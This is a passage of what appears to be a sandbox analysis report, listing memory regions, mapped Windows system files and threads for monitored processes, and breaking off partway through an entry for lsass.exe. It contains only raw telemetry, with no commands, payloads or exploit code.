region_type = mapped_file name = "errdev.pnf" filename = "\\Windows\\Inf\\errdev.PNF" (normalized: "c:\\windows\\inf\\errdev.pnf") Region: id = 3178 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "fdc.pnf" filename = "\\Windows\\Inf\\fdc.PNF" (normalized: "c:\\windows\\inf\\fdc.pnf") Region: id = 3179 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "flpydisk.pnf" filename = "\\Windows\\Inf\\flpydisk.PNF" (normalized: "c:\\windows\\inf\\flpydisk.pnf") Region: id = 3180 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc6fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "cpu.pnf" filename = "\\Windows\\Inf\\cpu.PNF" (normalized: "c:\\windows\\inf\\cpu.pnf") Region: id = 3181 start_va = 0x4c4fe50000 end_va = 0x4c4ff2ffff entry_point = 0x4c4fe50000 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\Inf\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 3182 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc3fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "wgencounter.pnf" filename = "\\Windows\\Inf\\wgencounter.PNF" (normalized: "c:\\windows\\inf\\wgencounter.pnf") Region: id = 3183 start_va = 0x4c4fe50000 end_va = 0x4c4fe6ffff entry_point = 0x4c4fe50000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 3184 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "hdaudbus.pnf" filename = "\\Windows\\Inf\\hdaudbus.PNF" (normalized: "c:\\windows\\inf\\hdaudbus.pnf") Region: id = 3185 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "hidbatt.pnf" filename = "\\Windows\\Inf\\hidbatt.PNF" (normalized: "c:\\windows\\inf\\hidbatt.pnf") Region: id = 3186 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "hidbth.pnf" filename = "\\Windows\\Inf\\hidbth.PNF" (normalized: "c:\\windows\\inf\\hidbth.pnf") Region: id = 3187 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc8fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "hidir.pnf" filename = "\\Windows\\Inf\\hidir.PNF" (normalized: "c:\\windows\\inf\\hidir.pnf") Region: id = 3188 start_va = 0x4c4fe50000 end_va = 0x4c4fe73fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "input.pnf" filename = "\\Windows\\Inf\\input.PNF" (normalized: "c:\\windows\\inf\\input.pnf") Region: id = 3189 start_va = 0x4c4fe50000 end_va = 0x4c4fe6dfff entry_point = 0x4c4fe50000 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\Inf\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 3190 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "ialpssi_gpio.pnf" filename = "\\Windows\\Inf\\ialpssi_gpio.PNF" (normalized: "c:\\windows\\inf\\ialpssi_gpio.pnf") Region: id = 3191 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "ialpssi_i2c.pnf" filename = "\\Windows\\Inf\\ialpssi_i2c.PNF" (normalized: "c:\\windows\\inf\\ialpssi_i2c.pnf") Region: id = 3192 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc3fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "iastorv.pnf" filename = "\\Windows\\Inf\\iastorv.PNF" (normalized: "c:\\windows\\inf\\iastorv.pnf") Region: id = 3193 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "intelpep.pnf" filename = "\\Windows\\Inf\\intelpep.PNF" (normalized: "c:\\windows\\inf\\intelpep.pnf") Region: id = 3194 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc6fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "cpu.pnf" filename = "\\Windows\\Inf\\cpu.PNF" (normalized: "c:\\windows\\inf\\cpu.pnf") Region: id = 3195 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "iscsi.pnf" filename = "\\Windows\\Inf\\iscsi.PNF" (normalized: "c:\\windows\\inf\\iscsi.pnf") Region: id = 3196 start_va = 0x4c4fe50000 end_va = 0x4c4fe6dfff entry_point = 0x4c4fe50000 region_type = mapped_file name = "keyboard.pnf" filename = "\\Windows\\Inf\\keyboard.PNF" (normalized: "c:\\windows\\inf\\keyboard.pnf") Region: id = 3197 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "kdnic.pnf" filename = "\\Windows\\Inf\\kdnic.PNF" (normalized: "c:\\windows\\inf\\kdnic.pnf") Region: id = 3198 start_va = 0x4c4fe50000 end_va = 0x4c4ff68fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "monitor.pnf" filename = "\\Windows\\Inf\\monitor.PNF" (normalized: "c:\\windows\\inf\\monitor.pnf") Region: id = 3199 start_va = 0x4c4fe50000 end_va = 0x4c4fe66fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\Inf\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 3200 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "msgpiowin32.pnf" filename = "\\Windows\\Inf\\msgpiowin32.PNF" (normalized: "c:\\windows\\inf\\msgpiowin32.pnf") Region: id = 3201 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc4fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "ksfilter.pnf" filename = "\\Windows\\Inf\\ksfilter.PNF" (normalized: "c:\\windows\\inf\\ksfilter.pnf") Region: id = 3202 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "mssmbios.pnf" filename = "\\Windows\\Inf\\mssmbios.PNF" (normalized: "c:\\windows\\inf\\mssmbios.pnf") Region: id = 3203 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc4fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "ksfilter.pnf" filename = "\\Windows\\Inf\\ksfilter.PNF" (normalized: "c:\\windows\\inf\\ksfilter.pnf") Region: id = 3204 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "mtconfig.pnf" filename = "\\Windows\\Inf\\mtconfig.PNF" (normalized: "c:\\windows\\inf\\mtconfig.pnf") Region: id = 3205 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "ndisuio.pnf" filename = "\\Windows\\Inf\\ndisuio.PNF" (normalized: "c:\\windows\\inf\\ndisuio.pnf") Region: id = 3206 start_va = 0x4c4fe50000 end_va = 0x4c4ff2ffff entry_point = 0x4c4fe50000 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\Inf\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 3207 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc8fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "msports.pnf" filename = "\\Windows\\Inf\\msports.PNF" (normalized: "c:\\windows\\inf\\msports.pnf") Region: id = 3208 start_va = 0x4c4fe50000 end_va = 0x4c4ff2ffff entry_point = 0x4c4fe50000 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\Inf\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 3209 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc6fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "cpu.pnf" filename = "\\Windows\\Inf\\cpu.PNF" (normalized: "c:\\windows\\inf\\cpu.pnf") Region: id = 3210 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "rdpbus.pnf" filename = "\\Windows\\Inf\\rdpbus.PNF" (normalized: "c:\\windows\\inf\\rdpbus.pnf") Region: id = 3211 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "sbp2.pnf" filename = "\\Windows\\Inf\\sbp2.PNF" (normalized: "c:\\windows\\inf\\sbp2.pnf") Region: id = 3212 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "sdstor.pnf" filename = "\\Windows\\Inf\\sdstor.PNF" (normalized: "c:\\windows\\inf\\sdstor.pnf") Region: id = 3213 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc8fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "msports.pnf" filename = "\\Windows\\Inf\\msports.PNF" (normalized: "c:\\windows\\inf\\msports.pnf") Region: id = 3214 start_va = 0x4c4fe50000 end_va = 0x4c4fe66fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "msmouse.pnf" filename = "\\Windows\\Inf\\msmouse.PNF" (normalized: "c:\\windows\\inf\\msmouse.pnf") Region: id = 3215 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "flpydisk.pnf" filename = "\\Windows\\Inf\\flpydisk.PNF" (normalized: "c:\\windows\\inf\\flpydisk.pnf") Region: id = 3216 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "spaceport.pnf" filename = "\\Windows\\Inf\\spaceport.PNF" (normalized: "c:\\windows\\inf\\spaceport.pnf") Region: id = 3217 start_va = 0x4c4fe50000 end_va = 0x4c4fe60fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\Inf\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 3218 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "stornvme.pnf" filename = "\\Windows\\Inf\\stornvme.PNF" (normalized: "c:\\windows\\inf\\stornvme.pnf") Region: id = 3219 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "swenum.pnf" filename = "\\Windows\\Inf\\swenum.PNF" (normalized: "c:\\windows\\inf\\swenum.pnf") Region: id = 3220 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc4fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "netip6.pnf" filename = "\\Windows\\Inf\\netip6.PNF" (normalized: "c:\\windows\\inf\\netip6.pnf") Region: id = 3221 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "termmou.pnf" filename = "\\Windows\\Inf\\termmou.PNF" (normalized: "c:\\windows\\inf\\termmou.pnf") Region: id = 3222 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc3fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "tpm.pnf" filename = "\\Windows\\Inf\\tpm.PNF" (normalized: "c:\\windows\\inf\\tpm.pnf") Region: id = 3223 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "tsgenericusbdriver.pnf" filename = "\\Windows\\Inf\\tsgenericusbdriver.PNF" (normalized: "c:\\windows\\inf\\tsgenericusbdriver.pnf") Region: id = 3224 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc3fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "nettun.pnf" filename = "\\Windows\\Inf\\nettun.PNF" (normalized: "c:\\windows\\inf\\nettun.pnf") Region: id = 3225 start_va = 0x4c4fe50000 end_va = 0x4c4ff2ffff entry_point = 0x4c4fe50000 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\Inf\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 3226 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "uaspstor.pnf" filename = "\\Windows\\Inf\\uaspstor.PNF" (normalized: "c:\\windows\\inf\\uaspstor.pnf") Region: id = 3227 start_va = 0x4c4fe50000 end_va = 0x4c4ff2ffff entry_point = 0x4c4fe50000 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\Inf\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 3228 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "umbus.pnf" filename = "\\Windows\\Inf\\umbus.PNF" (normalized: "c:\\windows\\inf\\umbus.pnf") Region: id = 3229 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "umpass.pnf" filename = "\\Windows\\Inf\\umpass.PNF" (normalized: "c:\\windows\\inf\\umpass.pnf") Region: id = 3230 start_va = 0x4c4fe50000 end_va = 0x4c4fe61fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "usb.pnf" filename = "\\Windows\\Inf\\usb.PNF" (normalized: "c:\\windows\\inf\\usb.pnf") Region: id = 3231 start_va = 0x4c4fcc0000 end_va = 0x4c4fccefff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "usbcir.pnf" filename = "\\Windows\\Inf\\usbcir.PNF" (normalized: "c:\\windows\\inf\\usbcir.pnf") Region: id = 3232 start_va = 0x4c4fe50000 end_va = 0x4c4fe72fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\Inf\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 3233 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc4fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "usbhub3.pnf" filename = "\\Windows\\Inf\\usbhub3.PNF" (normalized: "c:\\windows\\inf\\usbhub3.pnf") Region: id = 3234 start_va = 0x4c4fe50000 end_va = 0x4c4fe72fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\Inf\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 3235 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "usbprint.pnf" filename = "\\Windows\\Inf\\usbprint.PNF" (normalized: "c:\\windows\\inf\\usbprint.pnf") Region: id = 3236 start_va = 0x4c4fcc0000 end_va = 0x4c4fccefff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "usbstor.pnf" filename = "\\Windows\\Inf\\usbstor.PNF" (normalized: "c:\\windows\\inf\\usbstor.pnf") Region: id = 3237 start_va = 0x4c4fe50000 end_va = 0x4c4fe72fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "usbport.pnf" filename = "\\Windows\\Inf\\usbport.PNF" (normalized: "c:\\windows\\inf\\usbport.pnf") Region: id = 3238 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "usbxhci.pnf" filename = "\\Windows\\Inf\\usbxhci.PNF" (normalized: "c:\\windows\\inf\\usbxhci.pnf") Region: id = 3239 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "vdrvroot.pnf" filename = "\\Windows\\Inf\\vdrvroot.PNF" (normalized: "c:\\windows\\inf\\vdrvroot.pnf") Region: id = 3240 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "volmgr.pnf" filename = "\\Windows\\Inf\\volmgr.PNF" (normalized: "c:\\windows\\inf\\volmgr.pnf") Region: id = 3241 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "volume.pnf" filename = "\\Windows\\Inf\\volume.PNF" (normalized: "c:\\windows\\inf\\volume.pnf") Region: id = 3242 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "wvpcivsp.pnf" filename = "\\Windows\\Inf\\wvpcivsp.PNF" (normalized: "c:\\windows\\inf\\wvpcivsp.pnf") Region: id = 3243 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "wmiacpi.pnf" filename = "\\Windows\\Inf\\wmiacpi.PNF" (normalized: "c:\\windows\\inf\\wmiacpi.pnf") Region: id = 3244 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc3fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "hidbthle.pnf" filename = "\\Windows\\Inf\\hidbthle.PNF" (normalized: "c:\\windows\\inf\\hidbthle.pnf") Region: id = 3245 start_va = 0x7ffd1bfb0000 end_va = 0x7ffd1c037fff entry_point = 0x7ffd1bfb0000 region_type = mapped_file name = "scesrv.dll" filename = "\\Windows\\System32\\scesrv.dll" (normalized: "c:\\windows\\system32\\scesrv.dll") Region: id = 3246 start_va = 0x4c4fe50000 end_va = 0x4c4fecffff entry_point = 0x0 region_type = private name = "private_0x0000004c4fe50000" filename = "" Region: id = 3247 start_va = 0x7ff75465c000 end_va = 0x7ff75465dfff entry_point = 0x0 region_type = private name = "private_0x00007ff75465c000" filename = "" Region: id = 3248 start_va = 0x4c4fed0000 end_va = 0x4c4ff4ffff entry_point = 0x0 region_type = private name = "private_0x0000004c4fed0000" filename = "" Region: id = 3249 start_va = 0x7ff75465a000 end_va = 0x7ff75465bfff entry_point = 0x0 region_type = private name = "private_0x00007ff75465a000" filename = "" Region: id = 3250 start_va = 0x7ffd1bf60000 end_va = 0x7ffd1bfa7fff entry_point = 0x7ffd1bf60000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 3254 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c4fcc0000" filename = "" Region: id = 3301 start_va = 0x4c4ff50000 end_va = 0x4c4ff52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c4ff50000" filename = "" Region: id = 3302 start_va = 0x4c4ff60000 end_va = 0x4c4ff60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c4ff60000" filename = "" Region: id = 3303 start_va = 0x4c4ff70000 end_va = 0x4c4ffeffff entry_point = 0x0 region_type = private name = "private_0x0000004c4ff70000" filename = "" Region: id = 3304 start_va = 0x4c502f0000 end_va = 0x4c506e9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c502f0000" filename = "" Region: id = 3305 start_va = 0x7ff754658000 end_va = 0x7ff754659fff entry_point = 0x0 region_type = private name = "private_0x00007ff754658000" filename = "" Region: id = 3388 start_va = 0x4c506f0000 end_va = 0x4c5076ffff entry_point = 0x0 region_type = private name = "private_0x0000004c506f0000" filename = "" Region: id = 3389 start_va = 0x7ff754654000 end_va = 0x7ff754655fff entry_point = 0x0 region_type = private name = "private_0x00007ff754654000" filename = "" Region: id = 3727 start_va = 0x4c50770000 end_va = 0x4c507effff entry_point = 0x0 region_type = private name = "private_0x0000004c50770000" filename = "" Region: id = 3728 start_va = 0x7ff75452e000 end_va = 0x7ff75452ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75452e000" filename = "" Region: id = 3838 start_va = 0x4c507f0000 end_va = 0x4c5086ffff entry_point = 0x0 region_type = private name = "private_0x0000004c507f0000" filename = "" Region: id = 3839 start_va = 0x7ff75452c000 end_va = 0x7ff75452dfff entry_point = 0x0 region_type = private name = "private_0x00007ff75452c000" filename = "" Region: id = 4565 start_va = 0x4c50870000 end_va = 0x4c508effff entry_point = 0x0 region_type = private name = "private_0x0000004c50870000" filename = "" Region: id = 4566 start_va = 0x4c508f0000 end_va = 0x4c5096ffff entry_point = 0x0 region_type = private name = "private_0x0000004c508f0000" filename = "" Region: id = 4567 start_va = 0x7ff754528000 end_va = 0x7ff754529fff entry_point = 0x0 region_type = private name = "private_0x00007ff754528000" filename = "" Region: id = 4568 start_va = 0x7ff75452a000 end_va = 0x7ff75452bfff entry_point = 0x0 region_type = private name = "private_0x00007ff75452a000" filename = "" Region: id = 5792 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 5793 start_va = 0x4c4fff0000 end_va = 0x4c4fff1fff entry_point = 0x0 region_type = private name = "private_0x0000004c4fff0000" filename = "" Region: id = 5794 start_va = 0x13a0000 end_va = 0x13b4fff entry_point = 0x13a0000 region_type = mapped_file name = "armsvc.exe" filename = "\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe") Region: id = 5795 start_va = 0x4c50970000 end_va = 0x4c50d07fff entry_point = 0x4c50970000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 5823 start_va = 0x4c50970000 end_va = 0x4c50d07fff entry_point = 0x4c50970000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 6577 start_va = 0x4c50970000 end_va = 0x4c509effff entry_point = 0x0 region_type = private name = "private_0x0000004c50970000" filename = "" Region: id = 6578 start_va = 0x4c509f0000 end_va = 0x4c50aeffff entry_point = 0x0 region_type = private name = "private_0x0000004c509f0000" filename = "" Region: id = 6579 start_va = 0x7ff754526000 end_va = 0x7ff754527fff entry_point = 0x0 region_type = private name = "private_0x00007ff754526000" filename = "" Region: id = 6720 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6721 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6722 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 6768 start_va = 0x4c50af0000 end_va = 0x4c50b6ffff entry_point = 0x0 region_type = private name = "private_0x0000004c50af0000" filename = "" Region: id = 6769 start_va = 0x4c50b70000 end_va = 0x4c50beffff entry_point = 0x0 region_type = private name = "private_0x0000004c50b70000" filename = "" Region: id = 6770 start_va = 0x4c50bf0000 end_va = 0x4c50c6ffff entry_point = 0x0 region_type = private name = "private_0x0000004c50bf0000" filename = "" Region: id = 6771 start_va = 0x7ff754520000 end_va = 0x7ff754521fff entry_point = 0x0 region_type = private name = "private_0x00007ff754520000" filename = "" Region: id = 6772 start_va = 0x7ff754522000 end_va = 0x7ff754523fff entry_point = 0x0 region_type = private name = "private_0x00007ff754522000" filename = "" Region: id = 6773 start_va = 0x7ff754524000 end_va = 0x7ff754525fff entry_point = 0x0 region_type = private name = "private_0x00007ff754524000" filename = "" Thread: id = 222 os_tid = 0x1d0 Thread: id = 245 os_tid = 0x220 Thread: id = 246 os_tid = 0x224 Thread: id = 251 os_tid = 0x23c Thread: id = 262 os_tid = 0x26c Thread: id = 296 os_tid = 0x2f4 Thread: id = 305 os_tid = 0x31c Thread: id = 352 os_tid = 0x3e0 Thread: id = 354 os_tid = 0x3e8 Thread: id = 544 os_tid = 0x650 Thread: id = 620 os_tid = 0x790 Thread: id = 621 os_tid = 0x794 Thread: id = 622 os_tid = 0x798 Thread: id = 623 os_tid = 0x79c Thread: id = 958 os_tid = 0x840 Thread: id = 987 os_tid = 0x234 Thread: id = 1002 os_tid = 0x6a8 Process: id = "40" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0x62e14000" os_pid = "0x1d4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "36" os_parent_pid = "0x184" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2924 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2925 start_va = 0xef97570000 end_va = 0xef9758ffff entry_point = 0x0 region_type = private name = "private_0x000000ef97570000" filename = "" Region: id = 2926 start_va = 0xef97590000 end_va = 0xef9759efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97590000" filename = "" Region: id = 2927 start_va = 0xef975a0000 end_va = 0xef9761ffff entry_point = 0x0 region_type = private name = "private_0x000000ef975a0000" filename = "" Region: id = 2928 start_va = 0xef97620000 end_va = 0xef97623fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97620000" filename = "" Region: id = 2929 start_va = 0x7ff74a4d0000 end_va = 0x7ff74a4f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff74a4d0000" filename = "" Region: id = 2930 start_va = 0x7ff74a4fc000 end_va = 0x7ff74a4fcfff entry_point = 0x0 region_type = private name = "private_0x00007ff74a4fc000" filename = "" Region: id = 2931 start_va = 0x7ff74a4fe000 end_va = 0x7ff74a4fffff entry_point = 0x0 region_type = private name = "private_0x00007ff74a4fe000" filename = "" Region: id = 2932 start_va = 0x7ff74b110000 end_va = 0x7ff74b11dfff entry_point = 0x7ff74b110000 region_type = mapped_file name = "lsass.exe" filename = "\\Windows\\System32\\lsass.exe" (normalized: "c:\\windows\\system32\\lsass.exe") Region: id = 2933 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2934 start_va = 0xef97630000 end_va = 0xef97630fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97630000" filename = "" Region: id = 2935 start_va = 0xef97640000 end_va = 0xef97641fff entry_point = 0x0 region_type = private name = "private_0x000000ef97640000" filename = "" Region: id = 2949 start_va = 0xef97720000 end_va = 0xef9781ffff entry_point = 0x0 region_type = private name = "private_0x000000ef97720000" filename = "" Region: id = 2950 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2951 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2952 start_va = 0xef97570000 end_va = 0xef9757ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97570000" filename = "" Region: id = 2953 start_va = 0x7ff74a3d0000 end_va = 0x7ff74a4cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff74a3d0000" filename = "" Region: id = 2954 start_va = 0xef97650000 end_va = 0xef976cdfff entry_point = 0xef97650000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2955 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2956 start_va = 0x7ffd1cad0000 end_va = 0x7ffd1cadafff entry_point = 0x7ffd1cad0000 region_type = mapped_file name = "sspisrv.dll" filename = "\\Windows\\System32\\sspisrv.dll" (normalized: "c:\\windows\\system32\\sspisrv.dll") Region: id = 2957 start_va = 0xef97580000 end_va = 0xef97580fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ef97580000" filename = "" Region: id = 2958 start_va = 0xef97820000 end_va = 0xef9789ffff entry_point = 0x0 region_type = private name = "private_0x000000ef97820000" filename = "" Region: id = 2959 start_va = 0x7ff74a4fa000 end_va = 0x7ff74a4fbfff entry_point = 0x0 region_type = private name = "private_0x00007ff74a4fa000" filename = "" Region: id = 2960 start_va = 0x7ffd1c970000 end_va = 0x7ffd1caccfff entry_point = 